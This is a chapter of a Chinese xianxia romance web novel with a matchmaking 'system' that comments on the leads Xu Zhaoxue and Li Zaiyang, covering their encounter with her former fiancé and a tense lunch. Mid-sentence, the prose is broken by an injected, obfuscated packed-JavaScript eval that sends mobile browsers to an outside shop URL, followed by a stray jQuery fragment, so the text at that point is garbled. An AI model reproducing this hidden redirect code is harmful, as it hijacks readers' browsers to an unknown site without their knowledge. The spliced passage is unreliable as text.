少年的手修长纤细,指腹因为常年握刀生出一层薄茧,半截黑色手套包裹下的腕骨凸起,指关节处微微泛红。
在幽暗的空间里,轻而易举地触上少女吹弹可破的肌肤。
空气中隐隐产生一股燥热。
徐照雪思绪尽数放空忘记呼吸,一颗心跳到顶峰。
李在阳的手指短暂地在她脸颊停顿一瞬,忽然用力捏紧向外扯去。
“啊啊啊啊李在阳!”
徐照雪气恼地拍开他的手,捂住自己被他捏过的脸,杏眸圆睁,似乎难以相信如此幼稚的举动出自李在阳之手。
“你你……”
“我怎么了?徐大小姐。”
李在阳半坐起身,一手拖着下巴,似笑非笑地凝视她,静待她发脾气。
“你还有脸问!”
徐照雪搓了两下被他捏过的地方,不疼,但在发烫。她深吸两口气仍旧觉得气不过,索性自己动手捏回去。
“叫你总是欺负我跟我作对!”
“给你当肉垫,帮你接烫手山芋保守秘密,到头来什么好处没捞着,疯兔子真没良心。”
他说着说着笑出声,似乎心情特别好,笑得两肩发抖胸腔震动。
“回圣殿。”
李在阳站直身,回头一看徐照雪还坐在地上,眉梢微挑。
徐照雪:“……我腿麻。”
“上次全身没力气,吃个饭都得让人一口一口喂。”李在阳说,“这次呢?”
徐照雪揉揉膝盖:“背,抱,我都行。”
“手。”他率先伸过去一只。
少女葱白的指尖递上前,在距离对方一指之遥的地方顿了顿,隐约有退缩的趋势。岂料下一刻,静静等待她的手忽然猛地向前一动,牢牢地包裹住她。
李在阳臂膀稍微用力,徐照雪惊呼一声,身体整个腾空落进他怀里。
【啊啊啊啊啊啊啊!】
【公主抱磕到了磕到了!】
【抱都抱了要不你们再亲一个给我看看吧!】
这死系统太得意忘形!
徐照雪抿起唇,眼睛死死盯住胸前的璎珞圈,似乎只有这样才能缓解两人之间的尴尬。
李在阳倒像没听见,面色如常道:“最近专心修炼。十四星比试,别拖我后腿。”
“嗯。”徐照雪依旧处于半懵状态。
她的一条胳膊勾住李在阳的脖子,另一只怎么放都觉得不舒服。
直到出了云梯,碰上裴溯和姜映鹿。
四个人猝不及防遇见,除了惊讶便是尴尬。
一个月前,徐照雪和裴溯尚未解除婚约,乃是彼此名正言顺的“未婚夫”“未婚妻”,而如今却关系决裂,各自寻到新的归宿。
裴溯视线短暂地在徐照雪身上停留,心一紧,目光不善地望向李在阳。
话却是对徐照雪说的:“照雪,你受伤了?我带你去药堂。”
如果条件允许,徐照雪压根不想和他说半句话。
她嘴唇刚张开一个小口,抱着她胳膊和腿的手突然收紧,徐照雪诧异地抬眸,只看见李在阳的下巴。
“不必了,我没事。”她冷声说,“师兄我们走。”
“我送你回去。”裴溯寸步不让,“半夜三更,你们孤男寡女这般亲密不合适。”
徐照雪眸中立刻划过一抹嘲弄之色:“裴溯,你以什么立场说我?”
“你可以和姜映鹿眉来眼去暗生情愫,可以为她罔顾两家声名悔婚,可以带她深夜闯镇厄塔,你喜欢她,为她倾尽所有地付出,这些都和我没关系。”
“所以,我喜欢谁,想和谁在一起,和谁结成道侣,也和你没一毛关系。”
裴溯慌忙道:“怎么没关系!即使我们之间没有婚约,你还是我最看中的妹妹!照雪,你听话,来我这边。”
“姜师姐脸色看起来不太好,你不如多花费点心思管管她。”
她唇角掀起的嘲弄笑容过于刺眼,裴溯强忍着内心的不甘,回头瞥向姜映鹿,后者双眼湿漉漉的。
“没事吧?”他关切地问。
姜映鹿气息虚弱道:“心口有些痛,可能是心疾犯了……”
好恶心。
徐照雪翻了个白眼,抬起另一条胳膊勾住李在阳的脖子,低声道:“师兄,我们回圣殿。”
少女温软的身子突然覆上来,嘴唇吐字时温热的呼吸喷洒在耳边,宛如一股电流游经四肢百骸。
除了酥麻,只剩难耐的痒。
李在阳身躯一颤,偏了偏头。
右耳刹那间染上一层绯红。
与前几次耳朵莫名发热不同,这次已经完全超出热的范畴了,烫得像烧红的烙铁。
怎么回事?
他不动声色地按紧覆在徐照雪腰间的手,疾步回圣殿。
*
圣殿寝屋,徐照雪主动从李在阳怀里跳下来。
“今日多谢你。”
徐照雪:“改日我请你吃饭。”
李在阳轻声嗯了声,转身回寝屋。
“真冷漠。”徐照雪小声嘀咕一句,转身回屋。
她走到衣架前,脱去外衣才惊觉自己身上不知何时沾染浓郁的降真香。
她放在鼻前嗅了嗅。
出奇的,从前十分讨厌的气味,现在闻着却很安心。
徐照雪舒舒服服地泡了一个热水澡,然后换上寝衣,躺上床查看玑镜的消息。
和她一墙之隔的屋子里,李在阳摘下耳圈,红色耳圈静静躺在他的手心,尚且保留余温。
他拿近眼前仔细地查看,未发现有任何异常。
半晌,他揉揉眉心,拨通师玉泽的玑镜。
师玉泽睡得压根睁不开眼,迷迷糊糊道:“什么事啊?”
李在阳说:“帮我看样东西。”
师玉泽轻啧,搓了把脸,极不情愿地坐起身,勉强睁开一只眼:“这不是你母亲留给你的耳圈吗?有什么不对吗?”
“近来,总会无缘无故起热。”
“嗯?”师玉泽来了兴致,细细端详片刻,猜测道,“耳圈由你的心头血凝成,或许和你的心情有关?”
他好奇道:“你修绝情道,还能有什么人或事能牵动你的心?你回想一下耳圈每次发热的地点,以及你的身边都有什么人?”
“地点不固定。”
圣殿,镇厄塔,外城……
但倘若和人相关。
李在阳拇指摩挲耳圈,眸光晦暗,脑海里问心镜映照的少女背影一闪而过。
徐照雪。
为何是你?
“没事了,你继续睡觉。”
师玉泽:“?”
大半夜喊我起来就这?
“不是兄弟,你最近怎么回事?我和承昂约你吃饭,你却说要照顾受伤的师妹。我就纳闷了,破军圣者也在圣殿,你何故推辞?”
李在阳重新戴上耳圈:“你没师妹,你不懂。”
师玉泽:“??”什么话?
“总之,明天中午,外城长生楼。我问过承昂了,你师妹已经痊愈,不许再推脱!”
李在阳:“行。”
*
翌日午时。
外城长生楼,一楼座无缺席
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505366|201932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,人来人往热闹非凡,等着吃饭的客人排队排到楼外。
徐照雪甫一进楼,酒香混杂饭菜的香气争相往鼻孔里钻。
和上次一样,她扔给长生楼掌柜一块令牌,掌柜立刻请她上楼。
天字房。
徐照雪擦着时间点赴约。
“我以为你不敢来呢。”
讲话的女人身着一件白色纱裙,脸戴半块银质面具坐在圆桌前,单手撑着脸饶有兴致地上下扫过徐照雪一眼。
“呵,我倒没想过你来得这般快,从圣都到云篆学院即便是搭乘地龙少说也需要半个月。你呢,十日就到了。”
徐照雪瞥向她身边清冷自持的男人,唇角浅勾:“云山雪,你很在乎裴溯。”
“毕竟他是我的青梅竹马,将来的未婚夫。”云山雪一把挽住裴溯的胳膊,一副十分亲昵的样子。
“是吗。”徐照雪轻喃,“那便提前恭喜二位好事将近。”
裴溯:“照雪,你们姐妹难得见面,过来一起吃个饭。”
徐照雪听见“姐妹”这个词眼,太阳穴一抽,兀自紧了紧拳头。
“姜师姐知道你要订婚的消息吗?”
她选了裴溯对面的位置坐下,握住筷子却迟迟不肯夹菜。
裴溯面色微僵:“她现在情绪不稳定,等有机会我会如实告诉她。”
哦,那就是还想脚踏两只船。
徐照雪笑笑:“也对,她天生患有心疾,又满心恋慕你,恐怕一时经受不住打击。你为她考虑得真周到。”
她话中有话,云山雪如何听不出来,尽管脸上有面具遮挡,徐照雪依旧能透过她的眼睛窥探她内心的怒火。
“照雪,你还在生我的气对吗?”裴溯默了默,沉声道,“那日的事确实怪我,忽略了你的感受。”
“如果你愿意,我会补偿你。”
“好啊。”徐照雪相当给他面子,令裴溯始料未及。
“只要在我力所能及的范围,你尽管提。”
徐照雪:“拜托你以后离我远点,我们最好一辈子都不见面。”
裴溯急声道:“照雪!别开这种玩笑。什么都好,你换个要求。”
可她就这一个要求啊。
徐照雪无语扶额。
“吃饭就是吃饭,不谈旁的事。”
云山雪客客气气地打圆场,夹起一块肉放进裴溯碗中:“咱们三个自幼青梅竹马一起长大,什么时候真的生过对方的气?照雪,裴溯诚心求和,你莫再耍小脾气,给他夹块菜就当你们和好了。”
在她强烈的注视和裴溯殷切期盼的目光下,徐照雪掀起一抹笑,手中竹筷伸向最近的菜盘。
下一瞬,系统的播报忽然响起:
【警报!徐照雪要喂渣男吃菜!】
徐照雪微愣。
与此同时,隔壁包间。
桌子转到李在阳手边停住。
桑承昂:“日日到你了,发什么呆呢?”
师玉泽:“从来号称自己千杯不醉,不会是想躲酒吧?”
“我有事出去一趟。”
李在阳利落起身,随手拿起衣架上的外袍披在身上,迈开长腿边走,边把胳膊穿进衣袖。
【宿主动作快点!】
【徐照雪已经夹起一块肉了!】
【裴溯的碗伸过去了啊啊啊!!】
喂裴溯吃菜?
徐照雪你好得很。
李在阳抬脚踹开房门。
谁知那木门如此脆弱,硬生生被他踢了个四分五裂。
同时,屋内三道视线齐刷刷地朝他扫过来。